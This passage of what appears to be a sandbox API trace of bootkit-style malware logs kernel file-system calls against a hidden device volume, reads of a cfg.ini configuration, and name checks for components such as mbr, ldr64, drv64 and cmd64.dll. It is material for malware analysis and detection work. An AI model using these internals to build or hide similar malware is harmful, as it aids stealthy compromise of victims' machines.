FastMutex=0xfffffa80027d3898) [0123.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.565] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.565] IdePortDispatch () returned 0x103 [0123.565] KeWaitForMutexObject () returned 0x0 [0123.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.565] KeLeaveCriticalRegion () [0123.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.565] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.565] KeEnterCriticalRegion () [0123.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.565] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d3000 [0123.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.565] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.565] IdePortDispatch () returned 0x103 [0123.565] KeWaitForMutexObject () returned 0x0 [0123.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.565] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.565] IdePortDispatch () returned 0x103 [0123.566] KeWaitForMutexObject () returned 0x0 [0123.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] KeLeaveCriticalRegion () [0123.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.566] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.566] KeEnterCriticalRegion () [0123.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] KeLeaveCriticalRegion () [0123.566] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.566] KeEnterCriticalRegion () [0123.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.566] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] KeLeaveCriticalRegion () [0123.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.566] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.566] KeEnterCriticalRegion () [0123.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] ExFreePoolWithTag (P=0xfffffa8003bec410, Tag=0x0) [0123.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.566] KeLeaveCriticalRegion () [0123.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.567] ReleaseMutex (hMutex=0xf0) returned 1 [0123.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.567] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.567] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.567] KeEnterCriticalRegion () [0123.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.567] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.567] IdePortDispatch () returned 0x103 [0123.567] KeWaitForMutexObject () returned 0x0 [0123.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.567] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.567] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.567] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.567] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.567] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.567] KeLeaveCriticalRegion () [0123.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.567] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.567] KeEnterCriticalRegion () [0123.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.567] KeLeaveCriticalRegion () [0123.567] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.567] KeEnterCriticalRegion () [0123.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.567] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.567] IdePortDispatch () returned 0x103 [0123.568] KeWaitForMutexObject () returned 0x0 [0123.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.568] KeLeaveCriticalRegion () [0123.568] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.568] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.568] KeEnterCriticalRegion () [0123.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d4000 [0123.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.568] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.568] IdePortDispatch () returned 0x103 [0123.568] KeWaitForMutexObject () returned 0x0 [0123.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.568] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.568] IdePortDispatch () returned 0x103 [0123.568] KeWaitForMutexObject () returned 0x0 [0123.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.568] KeLeaveCriticalRegion () [0123.568] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.569] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.569] KeEnterCriticalRegion () [0123.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] KeLeaveCriticalRegion () [0123.569] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.569] KeEnterCriticalRegion () [0123.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.569] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] KeLeaveCriticalRegion () [0123.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.569] KeEnterCriticalRegion () [0123.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.569] KeLeaveCriticalRegion () [0123.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.569] ReleaseMutex (hMutex=0xf0) returned 1 [0123.569] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.569] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.569] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.569] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.570] KeEnterCriticalRegion () [0123.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.570] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.570] IdePortDispatch () returned 0x103 [0123.570] KeWaitForMutexObject () returned 0x0 [0123.570] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.570] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.570] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.570] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.570] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.570] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.570] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.570] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.570] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.570] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.570] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.570] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.570] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.570] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.570] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.570] KeLeaveCriticalRegion () [0123.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.570] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.570] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.570] KeEnterCriticalRegion () [0123.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.570] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.570] IdePortDispatch () returned 0x103 [0123.570] KeWaitForMutexObject () returned 0x0 [0123.571] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.571] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.571] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.571] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.571] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.571] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.571] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.571] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.571] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.571] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.571] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.571] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.571] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.571] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.571] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.571] KeLeaveCriticalRegion () [0123.571] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.571] ReleaseMutex (hMutex=0x100) returned 1 [0123.571] Sleep (dwMilliseconds=0x2bf20) [0123.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cdb6490, dwHighDateTime=0x1d24fa4)) [0123.577] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.577] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.577] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.577] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.577] KeEnterCriticalRegion () [0123.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.577] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.577] IdePortDispatch () returned 0x103 [0123.577] KeWaitForMutexObject () returned 0x0 [0123.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.578] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.578] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.578] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.578] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.578] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beca70 [0123.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] KeLeaveCriticalRegion () [0123.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.578] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.578] KeEnterCriticalRegion () [0123.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] KeLeaveCriticalRegion () [0123.578] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.578] KeEnterCriticalRegion () [0123.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.578] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.578] IdePortDispatch () returned 0x103 [0123.578] KeWaitForMutexObject () returned 0x0 [0123.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] KeLeaveCriticalRegion () [0123.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.578] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.578] KeEnterCriticalRegion () [0123.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d7000 [0123.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.579] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.579] IdePortDispatch () returned 0x103 [0123.580] KeWaitForMutexObject () returned 0x0 [0123.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.580] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.580] IdePortDispatch () returned 0x103 [0123.580] KeWaitForMutexObject () returned 0x0 [0123.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.580] KeLeaveCriticalRegion () [0123.580] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.581] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.581] KeEnterCriticalRegion () [0123.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] KeLeaveCriticalRegion () [0123.581] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.581] KeEnterCriticalRegion () [0123.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.581] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] KeLeaveCriticalRegion () [0123.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.581] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.581] KeEnterCriticalRegion () [0123.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] ExFreePoolWithTag (P=0xfffffa8003beca70, Tag=0x0) [0123.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 